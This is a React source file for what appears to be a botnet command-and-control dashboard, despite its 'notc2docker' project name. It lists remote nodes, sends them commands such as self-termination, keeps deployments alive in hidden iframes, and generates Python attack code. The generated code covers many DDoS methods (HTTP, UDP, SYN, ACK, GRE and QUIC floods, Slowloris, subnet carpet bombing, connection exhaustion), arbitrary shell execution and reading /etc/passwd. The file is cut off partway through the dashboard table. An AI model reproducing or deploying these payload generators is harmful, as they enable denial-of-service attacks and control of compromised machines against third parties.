notc2docker / src /App.tsx
wuhp's picture
Update src/App.tsx
e6aea16 verified
import React, { useState, useEffect, useRef } from 'react';
import {
Activity,
Terminal,
Globe,
Server,
ShieldCheck,
Settings,
Download,
Play,
Wifi,
Cpu,
Folder,
FileText,
GripVertical,
Trash2
} from 'lucide-react';
import { cn } from './lib/utils';
import { DndContext, closestCenter, KeyboardSensor, PointerSensor, useSensor, useSensors } from '@dnd-kit/core';
import { arrayMove, SortableContext, sortableKeyboardCoordinates, verticalListSortingStrategy, useSortable } from '@dnd-kit/sortable';
import { CSS } from '@dnd-kit/utilities';
const BLOCK_CONFIGS: Record<string, any> = {
http_probe: {
title: 'HTTP GET Probe', color: 'bg-indigo-600',
fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}],
generator: (p: any) => `def exec_fetch_http_test(ip, port):\n import requests, time\n try:\n t0 = time.time()\n res = requests.get(f"http://{ip}:{port}/", timeout=3)\n return {"status": f"HTTP_{res.status_code}"}\n except Exception as e:\n return {"error": str(e)}\n\nprint(exec_fetch_http_test("${p.ip}", ${p.port}))`
},
tcp_handshake: {
title: 'TCP Handshake', color: 'bg-indigo-600',
fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}],
generator: (p: any) => `def exec_tcp_probe(ip, port):\n import socket, time\n try:\n t0 = time.time()\n with socket.socket(socket.AF_INET, socket.STREAM) as s:\n s.settimeout(2); s.connect((ip, int(port)))\n return {"status": "tcp_connected"}\n except Exception as e:\n return {"error": str(e)}\n\nprint(exec_tcp_probe("${p.ip}", ${p.port}))`
},
exec_shell: {
title: 'Execute Shell', color: 'bg-emerald-600',
fields: [{key: 'cmd', label: 'Command', default: 'whoami'}],
generator: (p: any) => `def exec_shell(cmd):\n import subprocess\n try:\n return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT).decode('utf-8')\n except Exception as e:\n return str(e)\n\nprint(exec_shell("${p.cmd}"))`
},
ping: {
title: 'ICMP Ping', color: 'bg-indigo-600',
fields: [{key: 'host', label: 'Target Host', default: 'google.com'}],
generator: (p: any) => `def icmp_ping(host):\n import subprocess, platform\n cmd = f"ping -n 3 {host}" if platform.system() == "Windows" else f"ping -c 3 {host}"\n try:\n return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT).decode('utf-8')\n except Exception as e:\n return str(e)\n\nprint(icmp_ping("${p.host}"))`
},
read_file: {
title: 'Read File', color: 'bg-blue-600',
fields: [{key: 'path', label: 'File Path', default: '/etc/passwd'}],
generator: (p: any) => `def read_file(path):\n try:\n with open(path, 'r') as f: return {"content": f.read(4000)}\n except Exception as e:\n return {"error": str(e)}\n\nprint(read_file("${p.path}"))`
},
http_get_flood: {
title: 'L7 HTTP GET Flood', color: 'bg-rose-600',
fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
generator: (p: any) => `def http_get_flood(url, duration, threads_count):\n import threading, time, requests\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.get(url, timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(http_get_flood("${p.url}", ${p.duration}, ${p.threads}))`
},
http_post_flood: {
title: 'L7 HTTP POST Flood', color: 'bg-rose-600',
fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
generator: (p: any) => `def http_post_flood(url, duration, threads_count):\n import threading, time, requests, os\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.post(url, data=os.urandom(16), timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(http_post_flood("${p.url}", ${p.duration}, ${p.threads}))`
},
slowloris: {
title: 'L7 Slowloris', color: 'bg-rose-600',
fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Connections', default: '10'}],
generator: (p: any) => `def slowloris(ip, port, duration, threads_count):\n import socket, threading, time, random\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(4); s.connect((ip, int(port)))\n s.send(f"GET /?{random.randint(0,2000)} HTTP/1.1\\r\\nUser-Agent: Mozilla/5.0\\r\\nAccept-language: en-US,en,q=0.5\\r\\n".encode())\n stats["sent"] += 1\n while time.time() < t_end:\n s.send(f"X-a: {random.randint(1,5000)}\\r\\n".encode())\n time.sleep(10); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start(); time.sleep(0.05)\n for t in threads: t.join()\n return stats\n\nprint(slowloris("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
},
api_abuse_flood: {
title: 'L7 API Abuse', color: 'bg-rose-600',
fields: [{key: 'url', label: 'API Endpoint', default: 'http://127.0.0.1/graphql'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
generator: (p: any) => `def api_abuse_flood(url, duration, threads_count):\n import threading, time, requests, random\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.post(url, json={"query": "test", "id": random.randint(1,99999)}, timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(api_abuse_flood("${p.url}", ${p.duration}, ${p.threads}))`
},
udp_flood: {
title: 'L4 UDP Flood', color: 'bg-orange-600',
fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}, {key: 'size', label: 'Packet Size', default: '1024'}],
generator: (p: any) => `def udp_flood(ip, port, duration, threads_count, packet_size):\n import socket, time, os, threading\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n payload = os.urandom(int(packet_size))\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n except: return\n while time.time() < t_end:\n try: s.sendto(payload, (ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(udp_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}, ${p.size}))`
},
syn_flood: {
title: 'L4 SYN Flood (Requires Root)', color: 'bg-orange-600',
fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
generator: (p: any) => `def syn_flood(ip, port, duration, threads_count):\n import socket, time, threading\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)\n except: stats["errors"] += 1; return\n while time.time() < t_end:\n try: s.sendto(b"SYN_DUMMY_PAYLOAD", (ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(syn_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
},
carpet_bombing: {
title: 'L4 Carpet Bombing', color: 'bg-orange-600',
fields: [{key: 'subnet', label: 'Subnet (e.g. 192.168.1.)', default: '192.168.1.'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
generator: (p: any) => `def carpet_bombing(subnet, port, duration, threads_count):\n import socket, time, os, threading, random\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n payload = os.urandom(512)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n except: return\n while time.time() < t_end:\n target_ip = subnet + str(random.randint(1, 254))\n try: s.sendto(payload, (target_ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(carpet_bombing("${p.subnet}", ${p.port}, ${p.duration}, ${p.threads}))`
},
websocket_flood: {
title: 'L7 WebSocket Abuse', color: 'bg-rose-600',
fields: [{key: 'url', label: 'WS/HTTP URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Connections', default: '10'}],
generator: (p: any) => `def websocket_flood(url, duration, threads_count):\n import threading, time, requests\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.get(url, headers={"Connection": "Upgrade", "Upgrade": "websocket"}, timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(websocket_flood("${p.url}", ${p.duration}, ${p.threads}))`
},
ack_flood: {
title: 'L4 ACK Flood', color: 'bg-orange-600',
fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
generator: (p: any) => `def ack_flood(ip, port, duration, threads_count):\n import socket, time, threading\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)\n except: stats["errors"] += 1; return\n while time.time() < t_end:\n try: s.sendto(b"ACK_DUMMY", (ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(ack_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
},
connection_exhaustion: {
title: 'L4 State Exhaustion', color: 'bg-orange-600',
fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
generator: (p: any) => `def conn_exhaust(ip, port, duration, threads_count):\n import socket, time, threading\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n sockets = []\n while time.time() < t_end:\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.settimeout(1)\n s.connect((ip, int(port))); sockets.append(s); stats["sent"] += 1\n if len(sockets) > 500: sockets.pop(0).close()\n except: stats["errors"] += 1\n for s in sockets:\n try: s.close()\n except: pass\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(conn_exhaust("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
},
gre_flood: {
title: 'L3/L4 GRE Flood', color: 'bg-orange-600',
fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}, {key: 'size', label: 'Packet Size', default: '512'}],
generator: (p: any) => `def gre_flood(ip, duration, threads_count, pkt_size):\n import socket, time, threading, os\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, 47)\n except: stats["errors"] += 1; return\n payload = os.urandom(int(pkt_size))\n while time.time() < t_end:\n try: s.sendto(payload, (ip, 0)); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(gre_flood("${p.ip}", ${p.duration}, ${p.threads}, ${p.size}))`
},
http3_quic_flood: {
title: 'L7 HTTP/3 QUIC Flood', color: 'bg-rose-600',
fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '443'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
generator: (p: any) => `def quic_flood(ip, port, duration, threads_count):\n import socket, time, threading, os\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n quic_payload = b'\\xc0\\x00\\x00\\x00\\x01\\x08\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08' + os.urandom(1200)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n except: return\n while time.time() < t_end:\n try: s.sendto(quic_payload, (ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(quic_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
},
http2_multiplex: {
title: 'L7 HTTP/2 Multiplex Abuser', color: 'bg-rose-600',
fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Concurrent Sessions', default: '10'}],
generator: (p: any) => `def http2_multiplex(url, duration, threads_count):\n import threading, time, requests\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try:\n session = requests.Session()\n for _ in range(20):\n if time.time() >= t_end: break\n session.get(url, timeout=2)\n stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(http2_multiplex("${p.url}", ${p.duration}, ${p.threads}))`
},
browser_emulation: {
title: 'L7 Browser Emulation', color: 'bg-rose-600',
fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Virtual Browsers', default: '10'}],
generator: (p: any) => `def browser_emulation(url, duration, threads_count):\n import threading, time, requests, random\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n user_agents = [\n "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",\n "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"\n ]\n def worker():\n session = requests.Session()\n while time.time() < t_end:\n try:\n headers = {"User-Agent": random.choice(user_agents), "Accept": "text/html", "Accept-Language": "en-US"}\n session.get(url, headers=headers, timeout=5)\n stats["sent"] += 1\n time.sleep(random.uniform(0.1, 0.8))\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(browser_emulation("${p.url}", ${p.duration}, ${p.threads}))`
},
slow_post_flood: {
title: 'L7 Slow POST (Body Exhaustion)', color: 'bg-rose-600',
fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
generator: (p: any) => `def slow_post(ip, port, duration, threads_count):\n import socket, threading, time\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(4); s.connect((ip, int(port)))\n s.send(f"POST / HTTP/1.1\\r\\nHost: {ip}\\r\\nContent-Length: 100000\\r\\n\\r\\n".encode())\n stats["sent"] += 1\n while time.time() < t_end:\n s.send(b"a")\n time.sleep(10); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start(); time.sleep(0.1)\n for t in threads: t.join()\n return stats\n\nprint(slow_post("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
}
};
const SortableBlock = ({ id, type, params, onUpdate, onRemove }: any) => {
const { attributes, listeners, setNodeRef, transform, transition } = useSortable({ id });
const style = {
transform: CSS.Transform.toString(transform),
transition,
};
const config = BLOCK_CONFIGS[type];
if (!config) return null;
return (
<div ref={setNodeRef} style={style} className="flex flex-col mb-4 group relative">
<div className="flex border-l-[6px] border-l-transparent" style={{ borderLeftColor: config.color.replace('bg-', 'var(--').replace('-600', '-500)') /* fake color vars aren't perfectly mapped, we use tailwind classes directly below */ }}>
<div {...attributes} {...listeners} className={cn("cursor-grab active:cursor-grabbing p-2 rounded-l-md text-white flex items-center shadow-md", config.color)}>
<GripVertical size={16} />
</div>
<div className="flex-1 bg-slate-800 border border-slate-700/50 rounded-r-xl p-3 shadow-md transition-all">
<div className="flex justify-between items-center mb-3">
<div className="flex items-center gap-2">
<span className={cn("inline-block w-2.5 h-2.5 rounded-full shadow-sm", config.color)} />
<span className="text-sm font-bold text-slate-100">{config.title}</span>
</div>
<button onClick={() => onRemove(id)} className="text-slate-500 hover:text-red-400 transition-colors p-1.5 rounded-md hover:bg-red-400/10">
<Trash2 size={14} />
</button>
</div>
<div className="bg-slate-900/50 rounded-lg p-3 grid gap-3">
{config.fields.map((f: any) => (
<div key={f.key} className="flex items-center gap-3">
<label className="text-xs font-medium text-slate-400 w-24 text-right shrink-0">{f.label}</label>
<input
type="text"
value={params[f.key] || ''}
onChange={(e) => onUpdate(id, f.key, e.target.value)}
className="flex-1 bg-black/40 border border-slate-700 rounded px-2.5 py-1 text-xs text-emerald-300 focus:outline-none focus:border-indigo-500 font-mono shadow-inner"
/>
</div>
))}
</div>
</div>
</div>
</div>
);
};
export default function App() {
const [activeTab, setActiveTab] = useState('dashboard');
const [deployments, setDeployments] = useState<string[]>([]);
const [deployLogs, setDeployLogs] = useState<string[]>([]);
const [toasts, setToasts] = useState<{id: string, msg: string, type: string}[]>([]);
const [iframeKey, setIframeKey] = useState(0);
const prevNodesRef = useRef(new Map());
const addToast = (msg: string, type: 'info'|'success'|'warning' = 'info') => {
const id = Math.random().toString();
setToasts(t => [...t, {id, msg, type}]);
setTimeout(() => setToasts(t => t.filter(x => x.id !== id)), 5000);
};
useEffect(() => {
const fetchStatus = async () => {
try {
const res = await fetch('/api/status');
const json = await res.json();
setDeployments(json.deployments || []);
if (json.deployLogs) setDeployLogs(json.deployLogs);
// Handle node online/offline toasts
if (json.nodes) {
const currentNodes = new Map();
json.nodes.forEach((n: any) => {
const isActive = Date.now() - n.lastSeen < 20000;
currentNodes.set(n.id, isActive);
const wasActive = prevNodesRef.current.get(n.id);
if (wasActive === undefined) {
addToast(`New Node Connected: ${n.id} (${n.type})`, 'success');
} else if (!wasActive && isActive) {
addToast(`Node Online: ${n.id}`, 'success');
} else if (wasActive && !isActive) {
addToast(`Node Offline: ${n.id}`, 'warning');
}
});
prevNodesRef.current = currentNodes;
}
} catch (err) {}
};
fetchStatus();
const iv = setInterval(fetchStatus, 5000);
return () => clearInterval(iv);
}, []);
return (
<div className="min-h-screen flex flex-col mesh-bg text-slate-200 font-sans selection:bg-indigo-500/30">
{/* Toast Container */}
<div className="fixed top-4 right-4 z-50 flex flex-col gap-2">
{toasts.map(t => (
<div key={t.id} className={cn(
"px-4 py-3 rounded-lg shadow-xl text-sm font-medium border flexitems-center gap-2 animate-in fade-in slide-in-from-top-2",
t.type === 'success' ? 'bg-emerald-500/20 border-emerald-500/50 text-emerald-100' :
t.type === 'warning' ? 'bg-amber-500/20 border-amber-500/50 text-amber-100' :
'bg-slate-800 border-slate-700 text-slate-200'
)}>
{t.msg}
</div>
))}
</div>
<div className="hidden">
{deployments.map(url => (
<iframe key={`${url}-${iframeKey}`} src={url} className="w-0 h-0" sandbox="allow-scripts allow-same-origin" title="background-node" />
))}
</div>
<div className="flex flex-col md:flex-row flex-1 p-4 md:p-6 gap-6 h-full overflow-hidden">
{/* Sidebar */}
<aside className="w-full md:w-64 glass rounded-3xl p-6 flex flex-col gap-2 shrink-0 overflow-y-auto">
<div className="flex items-center gap-3 px-2 mb-6">
<div className="w-8 h-8 bg-indigo-500 rounded-lg shadow-lg shadow-indigo-500/20 flex items-center justify-center">
<Activity className="w-5 h-5 text-white" />
</div>
<h1 className="font-bold text-xl tracking-tight text-white">WUHP SDK</h1>
</div>
<SidebarButton
active={activeTab === 'dashboard'}
onClick={() => setActiveTab('dashboard')}
icon={<Activity size={18} />}
label="Node Dashboard"
/>
<SidebarButton
active={activeTab === 'payloads'}
onClick={() => setActiveTab('payloads')}
icon={<Download size={18} />}
label="Node Payloads"
/>
<SidebarButton
active={activeTab === 'deploy'}
onClick={() => setActiveTab('deploy')}
icon={<Globe size={18} />}
label="Cloud Deploy"
/>
<SidebarButton
active={activeTab === 'builder'}
onClick={() => setActiveTab('builder')}
icon={<Cpu size={18} />}
label="Builder"
/>
<SidebarButton
active={activeTab === 'docs'}
onClick={() => setActiveTab('docs')}
icon={<FileText size={18} />}
label="Documentation"
/>
<SidebarButton
active={activeTab === 'cmds_network'}
onClick={() => setActiveTab('cmds_network')}
icon={<Wifi size={18} />}
label="Network Commands"
/>
<SidebarButton
active={activeTab === 'cmds_system'}
onClick={() => setActiveTab('cmds_system')}
icon={<Cpu size={18} />}
label="System Commands"
/>
<SidebarButton
active={activeTab === 'cmds_file'}
onClick={() => setActiveTab('cmds_file')}
icon={<Folder size={18} />}
label="File Commands"
/>
<div className="mt-auto pt-6">
<SidebarButton
active={activeTab === 'settings'}
onClick={() => setActiveTab('settings')}
icon={<Settings size={18} />}
label="Integration Tokens"
/>
</div>
</aside>
{/* Main Content Area */}
<main className="flex-1 overflow-y-auto w-full glass rounded-3xl p-6">
<div className="max-w-5xl mx-auto flex flex-col gap-6">
{activeTab === 'dashboard' && <DashboardTab />}
{activeTab === 'payloads' && <PayloadsTab />}
{activeTab === 'deploy' && <DeployTab />}
{activeTab === 'cmds_network' && <CommandsTab category="network" />}
{activeTab === 'cmds_system' && <CommandsTab category="system" />}
{activeTab === 'cmds_file' && <CommandsTab category="file" />}
{activeTab === 'builder' && <BuilderTab />}
{activeTab === 'docs' && <DocsTab />}
{activeTab === 'settings' && <SettingsTab />}
</div>
</main>
</div>
</div>
);
}
// --- Generic Components ---
function SidebarButton({ active, onClick, icon, label }: { active: boolean, onClick: () => void, icon: React.ReactNode, label: string }) {
return (
<button
onClick={onClick}
className={cn(
"flex items-center gap-3 px-3 py-2.5 rounded-xl text-sm transition-all text-left font-medium",
active
? "bg-white/10 text-white shadow-sm"
: "text-slate-400 hover:bg-white/5 hover:text-slate-200 border border-transparent"
)}
>
{icon}
{label}
</button>
);
}
function Card({ title, children, icon }: { title: string, children: React.ReactNode, icon?: React.ReactNode }) {
return (
<div className="glass rounded-3xl overflow-hidden shadow-xl shadow-black/20 flex flex-col gap-3 group transition-all hover:border-indigo-500/30">
<div className="px-6 py-5 border-b border-white/5 flex items-center gap-3 bg-white/5">
{icon && <div className="text-indigo-400">{icon}</div>}
<h2 className="font-semibold text-white tracking-wide text-sm">{title}</h2>
</div>
<div className="p-6 pt-3">
{children}
</div>
</div>
);
}
// --- Tabs ---
function DashboardTab() {
const [data, setData] = useState({ nodes: [], reports: [] });
const [filter, setFilter] = useState('all');
const [selected, setSelected] = useState<Set<string>>(new Set());
useEffect(() => {
const fetchStatus = async () => {
try {
const res = await fetch('/api/status');
const json = await res.json();
setData(json);
} catch (err) {
console.error(err);
}
};
fetchStatus();
const iv = setInterval(fetchStatus, 3000);
return () => clearInterval(iv);
}, []);
const removeNode = async (id: string) => {
await fetch('/api/commands', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ target: id, type: 'self_terminate', payload: {}, repeat: false })
});
await fetch(`/api/nodes/${id}`, { method: 'DELETE' });
setData(prev => ({ ...prev, nodes: prev.nodes.filter((n: any) => n.id !== id) }));
};
const removeSelected = async () => {
for (const id of Array.from(selected)) {
await removeNode(id as string);
}
setSelected(new Set<string>());
};
const toggleSelect = (id: string) => {
setSelected(prev => {
const n = new Set(prev);
if (n.has(id)) n.delete(id);
else n.add(id);
return n;
});
};
const toggleAll = (visibleNodes: any[]) => {
if (selected.size === visibleNodes.length && visibleNodes.length > 0) {
setSelected(new Set());
} else {
setSelected(new Set(visibleNodes.map(n => n.id)));
}
};
const filteredNodes = data.nodes.filter((n: any) => {
const isActive = Date.now() - n.lastSeen < 20000;
if (filter === 'active') return isActive;
if (filter === 'inactive') return !isActive;
return true;
});
return (
<div className="flex flex-col gap-6">
<div className="grid grid-cols-1 md:grid-cols-3 gap-4">
<div className="glass p-5 rounded-3xl flex flex-col gap-1 transition-all group hover:border-indigo-500/50">
<span className="text-slate-500 text-xs uppercase tracking-wider font-semibold mb-1">Active Nodes</span>
<span className="text-3xl font-bold text-white font-mono">{data.nodes.filter((n: any) => Date.now() - n.lastSeen < 20000).length}</span>
</div>
<div className="glass p-5 rounded-3xl flex flex-col gap-1 transition-all group hover:border-orange-500/50">
<span className="text-slate-500 text-xs uppercase tracking-wider font-semibold mb-1">Health Reports</span>
<span className="text-3xl font-bold text-white font-mono">{data.reports.length}</span>
</div>
<div className="glass p-5 rounded-3xl flex flex-col gap-1 transition-all group hover:border-emerald-500/50">
<span className="text-emerald-500/70 text-xs uppercase tracking-wider font-semibold mb-1">System Status</span>
<div className="flex items-center gap-2 mt-1">
<div className="w-2 h-2 rounded-full bg-emerald-500 shadow-md shadow-emerald-500/50 animate-pulse"></div>
<span className="text-lg font-semibold text-emerald-400">All Systems Nominal</span>
</div>
</div>
</div>
<Card title="Connected Nodes" icon={<Server size={18} />}>
<div className="flex gap-4 mb-4 items-center justify-between px-2">
<div className="flex gap-4 items-center">
<label className="text-sm font-medium text-slate-400">Filter:</label>
<select
className="bg-black/20 border border-white/10 rounded-lg text-sm text-white px-3 py-1.5 outline-none focus:border-indigo-500 transition-colors"
value={filter} onChange={e => setFilter(e.target.value)}
>
<option value="all">All Nodes</option>
<option value="active">Active ({'<'} 20s skip)</option>
<option value="inactive">Inactive</option>
</select>
</div>
{selected.size > 0 && (
<button
onClick={removeSelected}
className="bg-red-500/10 hover:bg-red-500/20 text-red-400 border border-red-500/20 px-3 py-1.5 rounded-lg text-xs font-bold uppercase tracking-wider transition-all"
>
Terminate ({selected.size})
</button>
)}
</div>
{filteredNodes.length === 0 ? (
<div className="text-center py-10 text-slate-400">
<Server className="w-10 h-10 mx-auto mb-3 opacity-20" />
<p>No nodes found for this filter.</p>
<p className="text-sm mt-1">Deploy a payload to see nodes appear here.</p>
</div>
) : (
<div className="overflow-x-auto">
<table className="w-full text-left text-sm whitespace-nowrap">
<thead className="text-slate-500 border-b border-white/5">
<tr className="h-10">
<th className="font-medium px-4 w-10">
<input
type="checkbox"
className="rounded border-none accent-indigo-500 bg-white/10 cursor-pointer"
checked={filteredNodes.length > 0 && selected.size === filteredNodes.length}
onChange={() => toggleAll(filteredNodes)}
/>
</th>
<th className="font-medium px-2">Node ID</th>
<th className="font-medium">Environment</th>
<th className="font-medium">IP Addr</th>
<th className="font-medium">OS Info</th>
<th className="font-medium">Uptime</th>
<th className="font-medium">Last Ping</th>
<th className="font-medium">Status</th>
<th className="font-medium text-right pr-2">Action</th>
</tr>
</thead>
<tbody className="divide-y divide-white/5 text-slate-300">
{filteredNodes.map((node: any) => {
const isActive = Date.now() - node.lastSeen < 20000;
const uptimeS = Math.floor((Date.now() - (node.firstSeen || Date.now())) / 1000);
const uptimeStr = uptimeS > 3600 ? `${(uptimeS / 3600).toFixed(1)}h` : uptimeS > 60 ? `${Math.floor(uptimeS / 60)}m` : `${uptimeS}s`;
return (
<tr key={node.id} className="hover:bg-white/5 transition-colors group h-12 cursor-pointer" onClick={() => toggleSelect(node.id)}>
<td className="px-4" onClick={(e) => e.stopPropagation()}>
<input
type="checkbox"
className="rounded border-none bg-white/10 cursor-pointer accent-indigo-500"
checked={selected.has(node.id)}
onChange={() => toggleSelect(node.id)}
/>
</td>
<td className="py-3 font-mono text-indigo-300 px-2">{node.id}</td>
<td className="py-3">
<span className="px-2.5 py-1 flex items-center justify-center w-max rounded-full border border-slate-700 bg-white/5 text-[10px] font-bold uppercase text-slate-400">
{node.type}
</span>
</td>
<td className="py-3 text-slate-400 font-mono text-xs">{node.ip}</td>
<td className="py-3 text-slate-400 text-xs max-w-[120px] truncate" title={node.systemInfo?.os || ''}>
{node.systemInfo?.os || node.systemInfo?.release || '-'}
</td>
<td className="py-3 text-slate-400 text-xs">
{node.systemInfo?.uptime || uptimeStr}
</td>
<td className="py-3 text-slate-400">
{Math.round((Date.now() - node.lastSeen) / 1000)}s ago
</td>
<td className="py-3">
<div className={`flex items-center gap-1.5 ${isActive ? 'text-emerald-400' : 'text-slate-400'}`}>
